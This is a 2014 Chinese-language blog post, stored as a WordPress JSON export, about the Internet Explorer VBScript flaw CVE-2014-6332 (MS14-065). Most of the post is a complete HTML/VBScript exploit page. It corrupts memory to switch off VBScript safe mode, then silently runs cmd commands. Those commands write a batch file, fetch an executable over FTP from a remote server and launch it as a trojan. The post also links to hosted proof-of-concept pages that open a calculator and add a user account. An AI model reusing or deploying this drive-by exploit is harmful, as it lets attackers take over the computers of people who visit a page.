{"id":113,"date":"2014-11-12T02:33:50","date_gmt":"2014-11-12T02:33:50","guid":{"rendered":""},"modified":"2014-11-12T02:33:50","modified_gmt":"2014-11-12T02:33:50","slug":"","status":"publish","type":"post","link":"http:\/\/weizn.net\/?p=113","title":{"rendered":"MS14-065\uff08CVE-2014-6332\uff09\u6f0f\u6d1e\u5229\u7528"},"content":{"rendered":"

\n\t                                         Win95+IE3 \u2013 Win10+IE11\u5168\u7248\u672c\u6267\u884c\u6f0f\u6d1e\uff08\u542bPOC\uff09
\n<\/h3>\n

\n\t\u5fae\u8f6f\u672c\u6708\u5b89\u5168\u66f4\u65b0\u4fee\u590d\u4e86\u4e00\u4e2a\u6f5c\u85cf\u4e8618\u5e74\u7684IE\u8fdc\u7a0b\u4ee3\u7801\u6267\u884c\u6f0f\u6d1e\uff08CVE-2014-6332\uff09\u3002\u7f3a\u9677\u51fa\u73b0\u5728VBScript\u7684\u4ee3\u7801\u4e2d\uff0c\u81eaWindows 95\u9996\u6b21\u53d1\u5e03\uff0819\u5e74\u524d\uff09\u4ee5\u6765\u5c31\u4e00\u76f4\u5b58\u5728\u3002\u6b64\u6f0f\u6d1e\u653b\u51fbIE\u5305\u62ec\u57fa\u4e8eIE\u5185\u6838\u8bbe\u8ba1\u7684\u6d4f\u89c8\u5668\uff08\u6bd4\u5982360\uff0cQQ\u6d4f\u89c8\u5668\u7b49\uff09\u3002<\/strong><\/span>\n<\/p>\n

\n\t\n<\/p>\n

\n\t\u5173\u4e8e\u5fae\u8f6f\u5b89\u5168\u8865\u4e01<\/strong><\/span><\/span>\n<\/p>\n

\n\t<\/strong><\/span><\/span>\u5fae\u8f6f\u62ab\u9732\u4e86\u4e00\u4e2a\u5b58\u5728\u4e8e\u6240\u6709Windows\u7248\u672c\u7684\u9ad8\u5371\u6f0f\u6d1e\u3002\u5efa\u8bae\u6240\u6709Windows\u7528\u6237\uff0c\u5c24\u5176\u662f\u8fd0\u884c\u7f51\u7ad9\u7684\u7528\u6237\u5e94\u5c3d\u5feb\u5b89\u88c5\u5fae\u8f6f\u5468\u4e8c\u53d1\u5e03\u7684\u8865\u4e01\u3002<\/strong><\/span><\/span>\n<\/p>\n

\n\t\u300a\u5fae\u8f6f\u62ab\u9732\u5f71\u54cd\u6240\u6709Windows\u7248\u672c\u7684\u9ad8\u5371\u6f0f\u6d1e\u300b<\/a>\n<\/p>\n

\n\t\u300aMicrosoft\u6628\u65e5\u53d1\u5e03\u9ad8\u8fbe16\u4e2a\u5b89\u5168\u8865\u4e01\u300b<\/a>\n<\/p>\n

\n\tPOC\u4e4b\u4e00\uff1a\u6253\u5f00\u4efb\u52a1\u7ba1\u7406\u5668\u548c\u8ba1\u7b97\u5668<\/strong><\/span><\/span>\n<\/p>\n

\n\t\u6d4b\u8bd5\u5730\u5740\uff1a<\/span><\/span>http:\/\/www.weizn.net\/exp\/ie.html<\/a>\n<\/p>\n

\n\t\u6d4b\u8bd5\u622a\u56fe\n<\/p>\n

\"test1.jpg\"<\/a> <\/p>\n

\n\t\n<\/p>\n

\n\t\n<\/p>\n

\n\tPOC\u4e4b\u4e8c\uff1a\u6dfb\u52a0wayne\u8d26\u6237<\/strong><\/span><\/span>\n<\/p>\n

\n\t<\/strong><\/span><\/span>\n<\/p>\n

\n\t\u6d4b\u8bd5\u5730\u5740\uff1a<\/span><\/span>http:\/\/www.weizn.net\/exp\/useradd.htm<\/a>\n<\/p>\n

\n\t\u6d4b\u8bd5\u622a\u56fe\n<\/p>\n

\n\t\"test2.jpg\"<\/a>\n<\/p>\n

\n\t\n<\/p>\n

\n\tPOC\u4e4b\u4e09\uff1a\u8fdc\u7a0b\u6728\u9a6c\u4e0b\u8f7d<\/strong><\/span><\/span>\n<\/p>\n

\n\t\u4ee3\u7801\u5982\u4e0b\uff1a<\/strong><\/span><\/span>\n<\/p>\n

\n\t
\n<\/strong><\/span><\/span>\n<\/p>\n

\n\t
\n<\/strong><\/span><\/span>\n<\/p>\n

\n\t
\n<\/strong><\/span><\/span>\n<\/p>\n

\n\t    <!DOCTYPE html>  
\n    <html>  
\n    <meta http-equiv=”X-UA-Compatible” content=”IE=EmulateIE8″ >  
\n        <meta http-equiv=”content-type” content=”text\/html;charset=utf-8″>  
\n    <head>  
\n    <\/head>  
\n    <body>  
\n    <SCRIPT LANGUAGE=”VBScript”>  
\n      
\n    function runmumaa()   
\n    On Error Resume Next
\n    Set objWsh = CreateObject(“Wscript.Shell”)<\/p>\n

    objWsh.run “cmd.exe \/c echo whoami>d:\\Notepad.bat&echo netstat -an>>d:\\Notepad.bat&echo set>>d:\\Notepad.bat&echo open FTP\u5730\u5740>>d:\\Notepad.bat&echo username>>d:\\Notepad.bat&echo password>>d:\\Notepad.bat&echo dir>>d:\\Notepad.bat&echo get sec.exe d:\\Notepad.exe>>d:\\Notepad.bat&echo bye>>d:\\Notepad.bat”,0
\n    objWsh.run “cmd.exe \/c ftp -s:d:\\Notepad.bat”,0,true
\n    objWsh.run “cmd.exe \/c D:\\Notepad.exe -e”,0,true
\n    document.write(Err.Description)
\n    end function  
\n      
\n    <\/script>  
\n      
\n    <SCRIPT LANGUAGE=”VBScript”>  
\n       
\n    dim   aa()  
\n    dim   ab()  
\n    dim   a0  
\n    dim   a1  
\n    dim   a2  
\n    dim   a3  
\n    dim   win9x  
\n    dim   intVersion  
\n    dim   rnda  
\n    dim   funclass  
\n    dim   myarray  
\n      
\n    Begin()  
\n      
\n    function Begin()  
\n      On Error Resume Next  
\n      info=Navigator.UserAgent  
\n      
\n      if(instr(info,”Win64″)>0)   then  
\n         exit   function  
\n      end if  
\n      
\n      if (instr(info,”MSIE”)>0)   then   
\n                 intVersion = CInt(Mid(info, InStr(info, “MSIE”) + 5, 2))     
\n      else  
\n         exit   function    
\n                   
\n      end if  
\n      
\n      win9x=0  
\n      
\n      BeginInit()  
\n      If Create()=True Then  
\n         myarray=        chrw(01)&chrw(2176)&chrw(01)&chrw(00)&chrw(00)&chrw(00)&chrw(00)&chrw(00)  
\n         myarray=myarray&chrw(00)&chrw(32767)&chrw(00)&chrw(0)  
\n      
\n         if(intVersion<4) then  
\n             document.write(“<br> IE”)  
\n             document.write(intVersion)  
\n             runshellcode()                      
\n         else    
\n              setnotsafemode()  
\n         end if  
\n      end if  
\n    end function  
\n      
\n    function BeginInit()  
\n       Randomize()  
\n       redim aa(5)  
\n       redim ab(5)  
\n       a0=13+17*rnd(6)  
\n       a3=7+3*rnd(5)  
\n    end function  
\n      
\n    function Create()  
\n      On Error Resume Next  
\n      dim i  
\n      Create=False  
\n      For i = 0 To 400  
\n        If Over()=True Then  
\n        ‘   document.write(i)       
\n           Create=True  
\n           Exit For  
\n        End If   
\n      Next  
\n    end function  
\n      
\n    sub testaa()  
\n    end sub  
\n      
\n    function mydata()  
\n        On Error Resume Next  
\n         i=testaa  
\n         i=null  
\n         redim  Preserve aa(a2)    
\n        
\n         ab(0)=0  
\n         aa(a1)=i  
\n         ab(0)=6.36598737437801E-314  
\n      
\n         aa(a1+2)=myarray  
\n         ab(2)=1.74088534731324E-310    
\n         mydata=aa(a1)  
\n         redim  Preserve aa(a0)    
\n    end function   
\n      
\n      
\n    function setnotsafemode()  
\n        On Error Resume Next  
\n        i=mydata()    
\n        i=readmemo(i+8)  
\n        i=readmemo(i+16)  
\n        j=readmemo(i+&h134)    
\n        for k=0 to &h60 step 4  
\n            j=readmemo(i+&h120+k)  
\n            if(j=14) then  
\n                  j=0            
\n                  redim  Preserve aa(a2)               
\n         aa(a1+2)(i+&h11c+k)=ab(4)  
\n                  redim  Preserve aa(a0)    
\n      
\n         j=0   
\n                  j=readmemo(i+&h120+k)     
\n               
\n                   Exit for  
\n               end if  
\n      
\n        next   
\n        ab(2)=1.69759663316747E-313  
\n        runmumaa()   
\n    end function  
\n      
\n    function Over()  
\n        On Error Resume Next  
\n        dim type1,type2,type3  
\n        Over=False  
\n        a0=a0+a3  
\n        a1=a0+2  
\n        a2=a0+&h8000000  
\n        
\n        redim  Preserve aa(a0)   
\n        redim   ab(a0)       
\n        
\n        redim  Preserve aa(a2)  
\n        
\n        type1=1  
\n        ab(0)=1.123456789012345678901234567890  
\n        aa(a0)=10  
\n                
\n        If(IsObject(aa(a1-1)) = False) Then  
\n           if(intVersion<4) then  
\n               mem=cint(a0+1)*16               
\n               j=vartype(aa(a1-1))  
\n               if((j=mem+4) or (j*8=mem+8)) then  
\n                  if(vartype(aa(a1-1))<>0)  Then      
\n                     If(IsObject(aa(a1)) = False ) Then               
\n                       type1=VarType(aa(a1))  
\n                     end if                 
\n                  end if  
\n               else  
\n                 redim  Preserve aa(a0)  
\n                 exit  function  
\n      
\n               end if   
\n            else  
\n               if(vartype(aa(a1-1))<>0)  Then      
\n                  If(IsObject(aa(a1)) = False ) Then  
\n                      type1=VarType(aa(a1))  
\n                  end if                 
\n                end if  
\n            end if  
\n        end if  
\n                    
\n          
\n        If(type1=&h2f66) Then           
\n              Over=True        
\n        End If    
\n        If(type1=&hB9AD) Then  
\n              Over=True  
\n              win9x=1  
\n        End If    
\n      
\n        redim  Preserve aa(a0)            
\n              
\n    end function  
\n      
\n    function ReadMemo(add)   
\n        On Error Resume Next  
\n        redim  Preserve aa(a2)    
\n        
\n        ab(0)=0     
\n        aa(a1)=add+4       
\n        ab(0)=1.69759663316747E-313         
\n        ReadMemo=lenb(aa(a1))    
\n         
\n        ab(0)=0      
\n       
\n        redim  Preserve aa(a0)  
\n    end function  
\n      
\n    <\/script>  
\n      
\n    <\/body>  
\n    <\/html>  <\/p>\n

<\/span>\n<\/p>\n

\n\t<\/p>\n","protected":false},"excerpt":{"rendered":"

\n\t                                 …
\n<\/h3>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[321],"tags":[],"class_list":["post-113","post","type-post","status-publish","format-standard","hentry"],"yoast_head":"\nMS14-065\uff08CVE-2014-6332\uff09\u6f0f\u6d1e\u5229\u7528 - Wayne's Blog<\/title>\n<meta name=\"robots\" content=\"index, follow, max-snippet:-1, max-image-preview:large, max-video-preview:-1\" \/>\n<link rel=\"canonical\" href=\"http:\/\/weizn.net\/?p=113\" \/>\n<meta property=\"og:locale\" content=\"zh_CN\" \/>\n<meta property=\"og:type\" content=\"article\" \/>\n<meta property=\"og:title\" content=\"MS14-065\uff08CVE-2014-6332\uff09\u6f0f\u6d1e\u5229\u7528 - Wayne's Blog\" \/>\n<meta property=\"og:description\" content=\"                                 ...\" \/>\n<meta property=\"og:url\" content=\"http:\/\/weizn.net\/?p=113\" \/>\n<meta property=\"og:site_name\" content=\"Wayne's Blog\" \/>\n<meta property=\"article:published_time\" content=\"2014-11-12T02:33:50+00:00\" \/>\n<meta property=\"og:image\" content=\"http:\/\/www.weizn.net\/content\/uploadfile\/201411\/46fa1416537970.jpg\" \/>\n<meta name=\"twitter:card\" content=\"summary_large_image\" \/>\n<meta name=\"twitter:label1\" content=\"\u4f5c\u8005\" \/>\n\t<meta name=\"twitter:data1\" content=\"zinan\" \/>\n\t<meta name=\"twitter:label2\" content=\"\u9884\u8ba1\u9605\u8bfb\u65f6\u95f4\" \/>\n\t<meta name=\"twitter:data2\" content=\"13 \u5206\" \/>\n<script type=\"application\/ld+json\" class=\"yoast-schema-graph\">{\"@context\":\"https:\/\/schema.org\",\"@graph\":[{\"@type\":\"WebSite\",\"@id\":\"http:\/\/weizn.net\/#website\",\"url\":\"http:\/\/weizn.net\/\",\"name\":\"Wayne's Blog\",\"description\":\"\",\"publisher\":{\"@id\":\"http:\/\/weizn.net\/#\/schema\/person\/e88bc12c590502d8b6249326f960b264\"},\"potentialAction\":[{\"@type\":\"SearchAction\",\"target\":{\"@type\":\"EntryPoint\",\"urlTemplate\":\"http:\/\/weizn.net\/?s={search_term_string}\"},\"query-input\":\"required name=search_term_string\"}],\"inLanguage\":\"zh-Hans\"},{\"@type\":\"ImageObject\",\"@id\":\"http:\/\/weizn.net\/?p=113#primaryimage\",\"inLanguage\":\"zh-Hans\",\"url\":\"http:\/\/www.weizn.net\/content\/uploadfile\/201411\/46fa1416537970.jpg\",\"contentUrl\":\"http:\/\/www.weizn.net\/content\/uploadfile\/201411\/46fa1416537970.jpg\"},{\"@type\":\"WebPage\",\"@id\":\"http:\/\/weizn.net\/?p=113#webpage\",\"url\":\"http:\/\/weizn.net\/?p=113\",\"name\":\"MS14-065\\uff08CVE-2014-6332\\uff09\\u6f0f\\u6d1e\\u5229\\u7528 - Wayne's Blog\",\"isPartOf\":{\"@id\":\"http:\/\/weizn.net\/#website\"},\"primaryImageOfPage\":{\"@id\":\"http:\/\/weizn.net\/?p=113#primaryimage\"},\"datePublished\":\"2014-11-12T02:33:50+00:00\",\"dateModified\":\"2014-11-12T02:33:50+00:00\",\"breadcrumb\":{\"@id\":\"http:\/\/weizn.net\/?p=113#breadcrumb\"},\"inLanguage\":\"zh-Hans\",\"potentialAction\":[{\"@type\":\"ReadAction\",\"target\":[\"http:\/\/weizn.net\/?p=113\"]}]},{\"@type\":\"BreadcrumbList\",\"@id\":\"http:\/\/weizn.net\/?p=113#breadcrumb\",\"itemListElement\":[{\"@type\":\"ListItem\",\"position\":1,\"name\":\"\\u9996\\u9875\",\"item\":\"http:\/\/weizn.net\/\"},{\"@type\":\"ListItem\",\"position\":2,\"name\":\"MS14-065\\uff08CVE-2014-6332\\uff09\\u6f0f\\u6d1e\\u5229\\u7528\"}]},{\"@type\":\"Article\",\"@id\":\"http:\/\/weizn.net\/?p=113#article\",\"isPartOf\":{\"@id\":\"http:\/\/weizn.net\/?p=113#webpage\"},\"author\":{\"@id\":\"http:\/\/weizn.net\/#\/schema\/person\/e88bc12c590502d8b6249326f960b264\"},\"headline\":\"MS14-065\\uff08CVE-2014-6332\\uff09\\u6f0f\\u6d1e\\u5229\\u7528\",\"datePublished\":\"2014-11-12T02:33:50+00:00\",\"dateModified\":\"2014-11-12T02:33:50+00:00\",\"mainEntityOfPage\":{\"@id\":\"http:\/\/weizn.net\/?p=113#webpage\"},\"wordCount\":2633,\"commentCount\":0,\"publisher\":{\"@id\":\"http:\/\/weizn.net\/#\/schema\/person\/e88bc12c590502d8b6249326f960b264\"},\"image\":{\"@id\":\"http:\/\/weizn.net\/?p=113#primaryimage\"},\"thumbnailUrl\":\"http:\/\/www.weizn.net\/content\/uploadfile\/201411\/46fa1416537970.jpg\",\"articleSection\":[\"\\u5e94\\u7528\\u5b89\\u5168\"],\"inLanguage\":\"zh-Hans\",\"potentialAction\":[{\"@type\":\"CommentAction\",\"name\":\"Comment\",\"target\":[\"http:\/\/weizn.net\/?p=113#respond\"]}]},{\"@type\":[\"Person\",\"Organization\"],\"@id\":\"http:\/\/weizn.net\/#\/schema\/person\/e88bc12c590502d8b6249326f960b264\",\"name\":\"zinan\",\"logo\":{\"@id\":\"http:\/\/weizn.net\/#personlogo\"}}]}<\/script>\n<!-- \/ Yoast SEO plugin. -->","yoast_head_json":{"title":"MS14-065\uff08CVE-2014-6332\uff09\u6f0f\u6d1e\u5229\u7528 - Wayne's Blog","robots":{"index":"index","follow":"follow","max-snippet":"max-snippet:-1","max-image-preview":"max-image-preview:large","max-video-preview":"max-video-preview:-1"},"canonical":"http:\/\/weizn.net\/?p=113","og_locale":"zh_CN","og_type":"article","og_title":"MS14-065\uff08CVE-2014-6332\uff09\u6f0f\u6d1e\u5229\u7528 - Wayne's Blog","og_description":"                                 ...","og_url":"http:\/\/weizn.net\/?p=113","og_site_name":"Wayne's Blog","article_published_time":"2014-11-12T02:33:50+00:00","og_image":[{"url":"http:\/\/www.weizn.net\/content\/uploadfile\/201411\/46fa1416537970.jpg"}],"twitter_card":"summary_large_image","twitter_misc":{"\u4f5c\u8005":"zinan","\u9884\u8ba1\u9605\u8bfb\u65f6\u95f4":"13 \u5206"},"schema":{"@context":"https:\/\/schema.org","@graph":[{"@type":"WebSite","@id":"http:\/\/weizn.net\/#website","url":"http:\/\/weizn.net\/","name":"Wayne's Blog","description":"","publisher":{"@id":"http:\/\/weizn.net\/#\/schema\/person\/e88bc12c590502d8b6249326f960b264"},"potentialAction":[{"@type":"SearchAction","target":{"@type":"EntryPoint","urlTemplate":"http:\/\/weizn.net\/?s={search_term_string}"},"query-input":"required name=search_term_string"}],"inLanguage":"zh-Hans"},{"@type":"ImageObject","@id":"http:\/\/weizn.net\/?p=113#primaryimage","inLanguage":"zh-Hans","url":"http:\/\/www.weizn.net\/content\/uploadfile\/201411\/46fa1416537970.jpg","contentUrl":"http:\/\/www.weizn.net\/content\/uploadfile\/201411\/46fa1416537970.jpg"},{"@type":"WebPage","@id":"http:\/\/weizn.net\/?p=113#webpage","url":"http:\/\/weizn.net\/?p=113","name":"MS14-065\uff08CVE-2014-6332\uff09\u6f0f\u6d1e\u5229\u7528 - Wayne's Blog","isPartOf":{"@id":"http:\/\/weizn.net\/#website"},"primaryImageOfPage":{"@id":"http:\/\/weizn.net\/?p=113#primaryimage"},"datePublished":"2014-11-12T02:33:50+00:00","dateModified":"2014-11-12T02:33:50+00:00","breadcrumb":{"@id":"http:\/\/weizn.net\/?p=113#breadcrumb"},"inLanguage":"zh-Hans","potentialAction":[{"@type":"ReadAction","target":["http:\/\/weizn.net\/?p=113"]}]},{"@type":"BreadcrumbList","@id":"http:\/\/weizn.net\/?p=113#breadcrumb","itemListElement":[{"@type":"ListItem","position":1,"name":"\u9996\u9875","item":"http:\/\/weizn.net\/"},{"@type":"ListItem","position":2,"name":"MS14-065\uff08CVE-2014-6332\uff09\u6f0f\u6d1e\u5229\u7528"}]},{"@type":"Article","@id":"http:\/\/weizn.net\/?p=113#article","isPartOf":{"@id":"http:\/\/weizn.net\/?p=113#webpage"},"author":{"@id":"http:\/\/weizn.net\/#\/schema\/person\/e88bc12c590502d8b6249326f960b264"},"headline":"MS14-065\uff08CVE-2014-6332\uff09\u6f0f\u6d1e\u5229\u7528","datePublished":"2014-11-12T02:33:50+00:00","dateModified":"2014-11-12T02:33:50+00:00","mainEntityOfPage":{"@id":"http:\/\/weizn.net\/?p=113#webpage"},"wordCount":2633,"commentCount":0,"publisher":{"@id":"http:\/\/weizn.net\/#\/schema\/person\/e88bc12c590502d8b6249326f960b264"},"image":{"@id":"http:\/\/weizn.net\/?p=113#primaryimage"},"thumbnailUrl":"http:\/\/www.weizn.net\/content\/uploadfile\/201411\/46fa1416537970.jpg","articleSection":["\u5e94\u7528\u5b89\u5168"],"inLanguage":"zh-Hans","potentialAction":[{"@type":"CommentAction","name":"Comment","target":["http:\/\/weizn.net\/?p=113#respond"]}]},{"@type":["Person","Organization"],"@id":"http:\/\/weizn.net\/#\/schema\/person\/e88bc12c590502d8b6249326f960b264","name":"zinan","logo":{"@id":"http:\/\/weizn.net\/#personlogo"}}]}},"_links":{"self":[{"href":"http:\/\/weizn.net\/index.php?rest_route=\/wp\/v2\/posts\/113","targetHints":{"allow":["GET"]}}],"collection":[{"href":"http:\/\/weizn.net\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"http:\/\/weizn.net\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"http:\/\/weizn.net\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"http:\/\/weizn.net\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=113"}],"version-history":[{"count":0,"href":"http:\/\/weizn.net\/index.php?rest_route=\/wp\/v2\/posts\/113\/revisions"}],"wp:attachment":[{"href":"http:\/\/weizn.net\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=113"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"http:\/\/weizn.net\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=113"},{"taxonomy":"post_tag","embeddable":true,"href":"http:\/\/weizn.net\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=113"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}